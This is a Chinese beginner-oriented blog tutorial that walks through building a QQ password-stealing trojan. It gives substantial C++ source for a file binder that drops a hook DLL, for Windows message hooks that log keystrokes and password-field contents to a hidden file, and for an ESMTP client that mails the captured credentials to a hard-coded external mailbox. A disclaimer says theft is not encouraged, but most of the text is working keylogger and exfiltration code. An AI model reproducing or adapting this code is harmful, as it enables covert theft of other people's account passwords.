原帖:http://blog.csdn.net/fengzi_zhu/archive/2003/03/25/14331.aspx
总序
声明:
本文只适合初学者,“帮助”他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西。毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的原动力,同时也揭开网上各种各样的QQ密码截取器的神秘面纱。郑重声明本人公布这篇文章并不鼓励大家去窃取他人的帐号密码,所以在此只贴出一些重要的体现技术原代码。
废话不多说了,先介绍一下本程序的构思及使用的相关技术。
1.手动或自动绑定目标文件,自动分解出DLL和原文件并运行。
本程序使用的绑定文件技术是最原始的,会被杀毒软件轻易识破,被绑定的文件结构如下:
当然也可以通过修改PE文件结构,插入木马程序到SECTION中,该方法技术要求比较高。(本人没去实践过,在这里就不多说了)
2.调用自己分解出的DLL,对目标文件运行的相关线程设置消息钩子。将截获的文本内容存储在指定的文件中。
3.从指定的文件取得发送内容,使用ESMTP发送邮件到指定信箱
在看看程序的制作及运行流程:(建议把图拷下来用ACDSEE放大看,该图是使用Visio做的,做的不好,见笑了)
上图说明:Setup.exe是本程序编译连接后的执行的第一个文件
Hook.dll是导出挂钩函数的动态连接库
Server.exe是Setup.exe运行后绑定了Hook.dll的PE文件,它可以绑定除DLL文件外的所有文件
123456.exe是Temp.exe运行后分解出的内容与Server.exe相同的PE文件
下面分析一下主程序的代码:
if (!AfxSocketInit()) { AfxMessageBox("IDP_SOCKETS_INIT_FAILED"); return FALSE; } //通过本文件的长度来确定该程序的运行方式 CBindFile curFile; if(!curFile.Initiate()) //主要枢纽,将在后面的绑定文件类中详细说明 return true; //取得分解出的PE文件运行进程信息 PROCESS_INFORMATION PI; ZeroMemory(&PI, sizeof(PI)); curFile.GetRunFileProcessInfo(PI); //等待该子进程进入消息循环 if(0 != WaitForInputIdle(PI.hProcess, INFINITE)) { MessageBox(NULL, "等待进入消息循环出错!", NULL, NULL); return false; } //开始挂钩 hDllModule = GetModuleHandle("hook.dll"); if(NULL == hDllModule) { hDllModule = LoadLibrary("hook.dll"); if(NULL == hDllModule) { MessageBox(NULL, "DllModule is NULL", "PRINT", MB_OK); return false; } //取得导出函数的地址 Hook_Start Hook_Start_Address; Hook_Start_Address = (Hook_Start)GetProcAddress(hDllModule, "Hook_Start"); if(NULL == Hook_Start_Address) return false; if(!(Hook_Start_Address)(PI.dwThreadId)) { MessageBox(NULL, "Can not complete hook!", NULL, NULL); return false; } } //等待分解出的第二个文件运行的程序结束 DWORD dwWaitingTime = 2*60*1000; //等待时间为2分钟 WaitForSingleObject(PI.hProcess, dwWaitingTime); DWORD dwExitCode; GetExitCodeProcess(PI.hProcess, &dwExitCode); //2分钟后结束挂钩 if(NULL != hDllModule) { Hook_Stop Hook_Stop_Address; Hook_Stop_Address = (Hook_Stop)GetProcAddress(hDllModule, "Hook_Stop"); if(NULL == Hook_Stop_Address) { ::FreeLibrary(hDllModule); return false; } (Hook_Stop_Address)(); ::FreeLibrary(hDllModule); } //发送邮件 SendEMail(); //运行结束后删除分解出的临时文件 if(STILL_ACTIVE == dwExitCode) { WaitForSingleObject(PI.hProcess, INFINITE); GetExitCodeProcess(PI.hProcess, &dwExitCode); } CloseHandle(PI.hThread); CloseHandle(PI.hProcess); DeleteFile(curFile.GetSecFilePath()); return true;
下面是SendEMail函数
bool CSetupApp::SendEMail() { HANDLE hFile = NULL; DWORD dwDummy = 0; BOOL bResult = FALSE; TCHAR *lpFileString = NULL; //文件数据缓冲区 DWORD dwFileSize = 0; //文件长度 hFile = CreateFile(FILE_PATH_NAME, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if(INVALID_HANDLE_VALUE == hFile) return false; dwFileSize = GetFileSize(hFile, NULL); lpFileString = new TCHAR[dwFileSize+1]; if(NULL == lpFileString) return false; ZeroMemory(lpFileString, dwFileSize+1); SetFilePointer(hFile, 0, NULL, FILE_BEGIN); bResult = ReadFile(hFile, lpFileString, dwFileSize, &dwDummy, NULL); CloseHandle(hFile); if(0 != lstrlen(lpFileString)) { //将数据文件发送到指定的信箱 MAILMSG mailMsg; lstrcpy(mailMsg.mail_server_name, "smtp.21cn.com"); mailMsg.mail_server_port = 25; lstrcpy(mailMsg.mail_account, "zyfxyz"); lstrcpy(mailMsg.mail_password, "12345678"); //这里最好使用加密后的字符串,//不然的话在PE文件的.data节中//可以看到你的密码 lstrcpy(mailMsg.mail_from_address, "[email protected]"); lstrcpy(mailMsg.mail_to_address, "[email protected]"); lstrcpy(mailMsg.mail_subject, "Return"); ZeroMemory(mailMsg.mail_content, sizeof(mailMsg.mail_content)); if(dwFileSize > 800) //每次发送的DATA内容大小不得超过1000bytes dwFileSize = 800; lstrcpyn(mailMsg.mail_content, lpFileString, dwFileSize+1); CSmtp_fz smtp(mailMsg); if(smtp.SendMail()) { //如果发送成功则删除数据文件 MessageBox(NULL, "发送成功,删除数据文件", NULL, NULL); DeleteFile(FILE_PATH_NAME); //FILE_PATH_NAM文件存放截获文本数据 } } delete[] lpFileString; return true; }
后面几篇将分别详细解释绑定文件类CBindFile,邮件发送类CSmtp_fz以及Hook.dll的代码。
-------------------------------------------------------------------------------
0、DLL的调试
1、邮件发送篇
2、HOOK篇
----------------
假设:
要调试hook.dll hook.h hook.lib
1。建立一个新工程Test,将hook整个工程目录拷贝到Test目录下
2。在Test工程中需要用到hook.dll的源文件中(或stdafx.h中)加入
#include "./hook/hook.h"
这样在该源文件中使用"::"就可以索引到hook.h中所有的导出函数、
变量以及类
3。在Test的工程设置->Link->Object/library modules中加入
./hook/debug/hook.lib
4。编译连接好Test之后,发现未找到hook.dll. 这需要设置path.
可以在工程设置->Debug->Working directory中加入
e:/Test/hook/debug/
也可以在autoexe.bat中设置路径
5。通过工程->Insert Project into Workspace将hook.dsp工程加入
Test项目中。
6。设置hook工程为活动工程,在工程>Debug>Executable for
Debug session中加入:
e:/test/debug/test.exe
7。现在设置断点,按F5可以正常调试了
注意:当调试的DLL被映射到其他的应用程序(非TEST)进程空间并运行时,在该DLL中设置的断点无效,当然可以通过MessageBox来查看变量,若该DLL是MFC扩展DLL,则还可以用TRACE或afxDump来查看变量。
-------------------------------------------------------------
以往各网站的EMail系统均是根据标准的SMTP协议编写的,现在为了更有效地抑制垃圾邮件的泛滥,国内各大免费邮箱提供商纷纷开始采用ESMTP的方式设计E-mail收发服务。发送邮件需要对用户的身份进行验证,如果帐号和密码有误,ESMTP服务器则拒绝发送该邮件返回553错误代码。通过对协议的分析我找到设计这样EMail的方法,我们可以用Visual Baisc轻松完成。
一、 认证方式
ESMTP(Extension SMTP)即认证的邮件传输方式,是邮件服务器系统为了限制非本系统的正式用户利用本系统散发垃圾邮件或其他不当行为而开设的一项安全认证服务。它与传统的SMTP方式相比,主要的不同有两点:
1. 支持8-bit MIME格式的编码。
2. 支持用户身份的验证。
多了一道用户身份的验证手续,验证之后的邮件发送过程与传统的SMTP方式一致。为了方便用户的使用,绝大多数的ESMTP服务器都继承了POP3服务器的帐号和密码设置体系,也就是说收发邮件都用同一个帐号和密码。
根据[RFC 2554]规范,SMTP的认证功能主要是增加了AUTH命令。AUTH命令有多种用法,而且有多种认证机制。AUTH支持的认证机制主要有LOGIN,CRAM-MD5[注1]等。LOGIN应该是大多数免费邮件服务器都支持的,网易与新浪都支持。下面主要针对LOGIN方式进行介绍,其它方式请根据相应的RFC 规范进行修改。
LOGIN 方式口令-应答过程如下(S:表示服务器返回,C:表示客户端发送)
1. C: AUTH LOGIN
2. S: 334 dXNlcm5hbWU6 // dXNlcm5hbWU6是username:的BASE64编码
3. C: dXNlcm5hbWU6
4. S: 334 cGFzc3dvcmQ6 // cGFzc3dvcmQ6是password:的BASE64编码
5. C: cGFzc3dvcmQ6
6. S: 235 Authentication successful.
(1). 为客户端向服务器发送认证指令。
(2). 服务端返回base64编码串,成功码为334。编码字符串解码后为"username:",说明要求客户端发送用户名。
(3). 客户端发送用base64编码的用户名,此处为"username:"。
(4). 服务端返回base64编码串,成功码为334。编码字符串解码后为"password:",说明要求客户端发送用户口令。
(5). 客户端发送用base64编码的口令,此处为"password:"。
(6). 成功后,服务端返回码为235,表示认证成功可以发送邮件了
二:BASE64编码原理 (BBS 水木清华站Visualc版)
Base64编码其实是将3个8位字节转换为4个6位字节,( 3*8 = 4*6 = 24 ) 这4个六位字节 其实仍然是8位,只不过高两位被设置为0. 当一个字节只有6位有效时,它的取值空间为0 到 2的6次方减1 即63,也就是说被转换的Base64编码的每一个编码的取值空间为(0~63) 。
事实上,0~63之间的ASCII码有许多不可见字符,所以应该再做一个映射,映射表为
‘A‘ ~ ‘Z‘ ? ASCII(0 ~ 25)
‘a’ ~ ‘z‘ ? ASCII(26 ~ 51)
‘0’ ~ ‘9‘ ? ASCII(52 ~ 61)
‘+‘ ? ASCII(62)
‘/‘ ? ASCII(63)
这样就可以将3个8位字节,转换为4个可见字符。
具体的字节拆分方法为:(图(画得不好,领会精神 :-))
aaaaaabb ccccdddd eeffffff //abcdef其实就是1或0,为了看的清楚就用abcdef代替
~~~~~~~~ ~~~~~~~~ ~~~~~~~~
字节 1 字节 2 字节 3
||
//
00aaaaaa 00bbcccc 00ddddee 00ffffff
注:上面的三个字节位原文,下面四个字节为Base64编码,其前两位均为0。
这样拆分的时候,原文的字节数量应该是3的倍数,当这个条件不能满足时,用全零字节
补足,转化时Base64编码用=号代替,这就是为什么有些Base64编码以一个或两个等号结
束的原因,但等号最多有两个,因为:如果F(origin)代表原文的字节数,F(remain)代
表余数,则
F(remain) = F(origin) MOD 3 成立。
所以F(remain)的可能取值为0,1,2.
如果设 n = [F(origin) – F(remain)] / 3
当F(remain) = 0 时,恰好转换为4*n个字节的Base64编码。
当F(remain) = 1 时,由于一个原文字节可以拆分为属于两个Base64编码的字节,为了
让Base64编码是4的倍数,所以应该为补2个等号。
当F(remain) = 2 时,由于两个原文字节可以拆分为属于3个Base64编码的字节,同理,
应该补上一个等号。
三:邮件格式
也就是服务器要求输入DATA的时候,客户输入的邮件整个内容,如果输入的邮件格式不符服务器拒绝发送邮件返回441邮件头的某些域不符合服务器要求的格式。
头标由一个域名开始,然后一个冒号,接着是域主体部分,最后是<CRLF>序列指示行结束。下面的头标是必须的:
Date 指示创建这个消息的时间和日期 发信时间
From,或者Sender和From 包含发送该消息的用户标志 发件箱
To,cc(抄送)或Bcc(密抄) 包含消息希望被发送到的用户标志 收件箱
其他的一些头标域是可选的,如:Return-path Reply-To, References, Keywords, Subject, Comments, Encrypted等这里就不一一解释了。
在本程序中使用CSmtp_fz类来发送邮件,其中成员函数InitContent完成对DATA数据的格式化如下:
void CSmtp_fz::InitContent()
{
CTime time = CTime::GetCurrentTime();
CString strContent[5];
//发件人
strContent[0].Format("From: %s/r/n",
m_mailMsg.mail_from_address);
//时间
strContent[1].Format("Date: %s/r/n",
time.Format("%A, %B %d, %I:%M:%S, %Y"));
//收件人
strContent[2].Format("To: %s/r/n",
m_mailMsg.mail_to_address);
//主题
strContent[3].Format("Subject: %s/r/n",
m_mailMsg.mail_subject);
//正文
strContent[4].Format("Content %s/r/n",
m_mailMsg.mail_content);
m_strContent = strContent[0] + strContent[1] + strContent[2]
+ strContent[3] + strContent[4];
return;
}
m_strContent是CSmtp_fz类的成员变量,用于存放要发送的数据内容。
四:邮件发送
bool CSmtp_fz::SendMail()
{
InitContent();
CSocket socket;
CString str, strResponse;
CBase64 base64;
if(!socket.Create())
return false;
if (socket.Connect(m_mailMsg.mail_server_name,
m_mailMsg.mail_server_port))
{
CSocketFile file(&socket);
CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);
CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);
while (TRUE)
{
// SMTP server ready
//Say HELLO TO MAIL SERVER
arIn.ReadString(strResponse);
if ("220" != strResponse.Left(3)) break;
CString strTemp;
gethostname(strTemp.GetBuffer(256), 256);
strTemp.ReleaseBuffer();
str.Format("HELO %s/r/n", (LPCSTR)strTemp);
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("250" != strResponse.Left(3)) break;
//CERTIFICATION
str = "AUTH LOGIN /r/n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("334" != strResponse.Left(3)) break;
str = base64.Encode(LPCSTR(m_mailMsg.mail_account),
sizeof(m_mailMsg.mail_account));
str = str + "/r/n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("334" != strResponse.Left(3)) break;
str = base64.Encode(LPCSTR(m_mailMsg.mail_password),
sizeof(m_mailMsg.mail_password));
str = str + "/r/n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("235" != strResponse.Left(3)) break;
// MAIL FROM command
str.Format("MAIL FROM: <%s>/r/n",
(LPCSTR)(m_mailMsg.mail_from_address));
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("250" != strResponse.Left(3)) break;
// RCPT TO command
str.Format("RCPT TO: <%s", m_mailMsg.mail_to_address);
str = str + ">/r/n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
strResponse = strResponse.Left(3);
if (("250" != strResponse) && ("251" != strResponse)) break;
// DATA command
arOut.WriteString("DATA/r/n"); arOut.Flush();
arIn.ReadString(strResponse);
strResponse = strResponse.Left(3);
if (("250" != strResponse) && ("354" != strResponse))break;
//发送数据
CString strBuffer;
strBuffer = m_strContent;
// . -> ..
// .. -> ...
if ((!strBuffer.IsEmpty()) && ('.' == strBuffer[0]))
strBuffer = '.' + strBuffer;
str = strBuffer;
arOut.WriteString(str);
arOut.WriteString("./r/n"); arOut.Flush();
arIn.ReadString(strResponse);
if("250" != strResponse.Left(3))break;
// QUIT command
arOut.WriteString("QUIT/r/n"); arOut.Flush();
arIn.ReadString(strResponse);
return true;
}
}
else
{
str.Format("SMTP Host %s can't reach.", m_mailMsg.mail_server_name);
MessageBox(NULL, str, "Error", MB_OK);
return false;
}
MessageBox(NULL, "Connection is reset.", "Error", MB_OK);
return false;
}
----------------------------------------------------
首先让我们来回顾一下Windows的消息分类。
l WM_XXX(除WM_COMMAND和WM_NOTIFY外)WINDOWS消息
硬件的输入消息或USER模块的窗口管理消息,任何派生自CWnd的类均可接收此消息。
l WM_COMMAND命令消息
凡由UI对象产生的消息,可能来自菜单或加速键(wParam代表消息的来源),凡派生于CCmdTarget的类都由资格接收此消息。
l WM_COMMAND 或 WM_NOTIFY 控件通知消息,为的是向其父窗口(通常是对话框)通知某种消息。
控件分 标准控件 如Edit、ComboBox、ListBox 使用WM_COMMAND
常用控件 如ImageList、ListCtrl、TreeCtrl等使用WM_NOTIFY
l WM_SYSCOMMAND系统菜单的命令消息。就是在窗口的标题栏处点右键弹出的菜单。
下图是Windows消息处理机制图:
通过上图,可以知道通过对某一线程设置消息钩子,就可以取得该线程消息泵分发出的消息。也就是说任何消息钩子截获的都是在消息泵处理之后的消息。下面列出常用的几个消息钩子类型:
l WH_GETMESSAGE 监视使用PostMessage()入消息队列的消息
l WH_CALLWNDPROC 监视系统发给(SendMessage())目标窗口过程处理之前的消息
l WH_CALLWNDPROCRET 监视目标窗口过程处理之后的消息(SendMessage())
l WH_KEYBOARD 监视键盘消息
l WH_MOUSE 监视鼠标消息
要想对某个窗口的消息进行挂钩,可以使用SPY++找到该窗口,设置要捕获消息的类型,开始捕捉后,可以看到列出的许多消息。每条消息的第三项有“S”、“R”、“P”字符,他们分别代表的意思:
l “S”该消息是使用SendMessage发送到消息队列的。它要等待返回。捕捉该消息需使用WH_CALLWNDPROC
l “R”该消息是使用SendMessage发送到消息队列,并经过目标窗口的处理函数处理过的消息。捕捉该消息需使用WH_CALLWNDPROCRET
l “P”该消息是使用PostMessage寄送到消息队列的消息,它不要求返回。使用
WH_GETMESSAGE捕捉。
因为对要取的QQ的号码和密码,则需要对两类控件窗口消息挂钩,一是ComboBox,另一个当然是Edit啦。
hhook1 = SetWindowsHookEx(WH_CALLWNDPROCRET, CallWndRetProc, g_hinstDll, dwThreadId);
WH_CALLWNDPROCRET截取WM_GETTEXT取的组合框中的内容,还截获WM_KILLFOCUS取得编辑框(非密码框)的内容。
hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);
WH_GETMESSAGE截取WM_CHAR消息,获取键盘输入。
下面是这两个钩子消息处理函数的代码:
HINSTANCE g_hinstDll = NULL; // instance handle
HWND g_hwndComboBox = NULL; //Handle of window to be monitored
HWND g_hwndEdit = NULL;
TCHAR g_lpszEditDump[32] = {0}; //键盘输入Edit控件的内容
BOOL g_fSingleEnter = true; //一次键盘输入POST两次WM_CHAR
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma data_seg("Shared")
HHOOK g_hhook1 = NULL; // Hook handle for thread-specific hook
HHOOK g_hhook2 = NULL;
const char g_classname1[] = "ComboBox";
const char g_classname2[] = "Edit"; //for class name you want to monitor
#define FILE_PATH_NAME "c://ravdataq.dat"
#pragma data_seg()
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static LRESULT WINAPI CallWndRetProc (int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR lpszClassName[16] = {0}; //消息所属窗口类名字
int nIndex = 0; //ComboBox所选内容的序列号
TCHAR lpszComboBox[16] = {0}; //ComboxBox所选的字符串内容
TCHAR lpszDump[64] = {0}; //组合框写入文件的字符串
TCHAR lpString[64] = {0}; //编辑框写入文件的字符串
CWPRETSTRUCT *pmsg = (CWPRETSTRUCT*)lParam;
if(nCode != HC_ACTION || wParam != NULL)
{
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
switch (pmsg->message)
{
case WM_GETTEXT:
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定的组合框
if((0 == lstrcmp(lpszClassName, g_classname1)) &&
(NULL == g_hwndComboBox))
{
g_hwndComboBox = pmsg->hwnd;
}
if(g_hwndComboBox == pmsg->hwnd)
{
//取得当前ComboBox选择的序号
nIndex =(int) SendMessage(g_hwndComboBox,
CB_GETCURSEL, 0, 0);
if(CB_ERR == nIndex)
{
//若没有选择则退出
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
lstrcpy(lpszComboBox, LPCSTR(pmsg->lParam));
wsprintf(lpszDump, " Index = %d content = %s ",
nIndex, lpszComboBox);
//写入文件
fzWriteFile(lpszDump);
}
break;
case WM_KILLFOCUS:
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定应用程序下的编辑框
if ((lstrcmp(lpszClassName, g_classname2) == 0) &&
(g_hwndEdit != NULL))
{
//判断是否是密码框
if(::GetWindowLong(g_hwndEdit, GWL_STYLE) &
ES_PASSWORD)
{
wsprintf(lpString, " Password = %s", (LPTSTR)g_lpszEditDump);
}
else
{
wsprintf(lpString, " Content = %s", (LPTSTR)g_lpszEditDump); }
//将存储起来的字符串写入文件
fzWriteFile(lpString);
//清除一些全局变量
g_hwndEdit = NULL;
ZeroMemory(g_lpszEditDump, 32);
}
break;
}
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR lpStr[2] = {0}; //存储按键字符
char lpszClassName[16] = {0};
TCHAR CR = 0x0D; //回车
LRESULT lResult = CallNextHookEx(g_hhook2, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_CHAR: //截获发向焦点窗口的键盘消息
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定应用程序下的编辑框
if ((lstrcmp(lpszClassName, g_classname2) == 0) &&
(g_hwndEdit == NULL))
{
g_hwndEdit = pmsg->hwnd;
}
if (g_hwndEdit == pmsg->hwnd)
{
if(g_fSingleEnter)
{
lpStr[0] = (TCHAR)(pmsg->wParam);
lpStr[1] = '/0';
lstrcat((LPTSTR)g_lpszEditDump, (LPTSTR)lpStr);
g_fSingleEnter = false;
}
else
{
g_fSingleEnter = true;
}
}
break;
}
}
return(lResult);
}
有关DLL的调试,请看本人发表的另一篇文章《DLL的调试》。